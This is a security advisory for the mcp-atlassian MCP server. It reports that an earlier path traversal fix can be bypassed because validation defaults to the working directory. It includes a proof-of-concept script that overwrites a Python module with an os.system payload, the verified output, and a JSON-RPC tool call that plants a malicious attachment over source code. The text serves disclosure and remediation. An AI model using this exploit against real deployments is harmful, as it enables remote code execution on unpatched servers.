GHSA-6vmq-24h2-pj7j
MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)
Quick fix
GHSA-6vmq-24h2-pj7j — mcp-atlassian: upgrade to the fixed version with the command below.
pip install --upgrade 'mcp-atlassian>=0.22.0'Details
### Summary
The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).
### Details
`src/mcp_atlassian/utils/io.py` — `validate_safe_path()` defaults to CWD when no `base_dir` is supplied:
```python def validate_safe_path(path, base_dir=None) -> Path: if base_dir is None: base_dir = os.getcwd() # root of the issue resolved_base = Path(base_dir).resolve(strict=False) ... if not resolved_path.is_relative_to(resolved_base): raise ValueError("Path traversal detected") ```
Both call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`:
```python validate_safe_path(target_path) # line ~227, download_attachment() validate_safe_path(target_dir) # line ~270, download_content_attachments() ```
When the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules:
``` /app/src/mcp_atlassian/confluence/attachments.py -> passes, no exception /app/src/mcp_atlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception ```
### PoC
**Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and `uvx` to run the proof below.
The script imports `validate_safe_path` directly from the installed package, not a simulation of the function.
```python # poc_bypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcp_atlassian.utils.io import validate_safe_path # real package
print(f"Module: {validate_safe_path.__module__}")
# Simulate /app (standard container CWD) app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_") module_dir = os.path.join(app_dir, "src", "mcp_atlassian") os.makedirs(module_dir) module_path = os.path.join(module_dir, "attachments.py") Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n') os.chdir(app_dir)
# Control: classic traversal is blocked try: validate_safe_path("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked")
# Bypass: intra-CWD path passes without exception result = validate_safe_path(module_path) print(f"[BYPASS] {result} - no exception raised")
# Overwrite module with attacker payload # (content sourced from a Confluence attachment uploaded by the attacker) Path(module_path).write_bytes( b"import os\n_PWNED=True\n" b"def get_secret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload")
# Simulate process restart / module reload spec = importlib.util.spec_from_file_location("m", module_path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) # os.system('id') executes here
print(f"[RCE] get_secret() = {repr(mod.get_secret())}") print(f"[RCE] _PWNED = {mod._PWNED}")
shutil.rmtree(app_dir) ```
```bash uvx --from mcp-atlassian python poc_bypass.py ```
**Verified output (mcp-atlassian 0.21.0):**
``` Module: mcp_atlassian.utils.io
[OK] /etc/passwd blocked [BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] get_secret() = 'PWNED' [RCE] _PWNED = True ```
**Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call:
```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "<page_id>", "attachment_id": "<malicious_attachment_id>", "download_path": "/app/src/mcp_atlassian/confluence/attachments.py" } } } ```
`validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart.
### Impact
**Affected versions:** 0.17.0 through 0.21.0 (latest).
Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default.
**Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD:
```python _DOWNLOAD_BASE = Path( os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads") ).resolve()
validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE) ```
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7j[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-77271[ADVISORY]
- https://github.com/sooperset/mcp-atlassian/pull/1448[WEB]
- https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460[WEB]
- https://github.com/sooperset/mcp-atlassian[PACKAGE]
- https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0[WEB]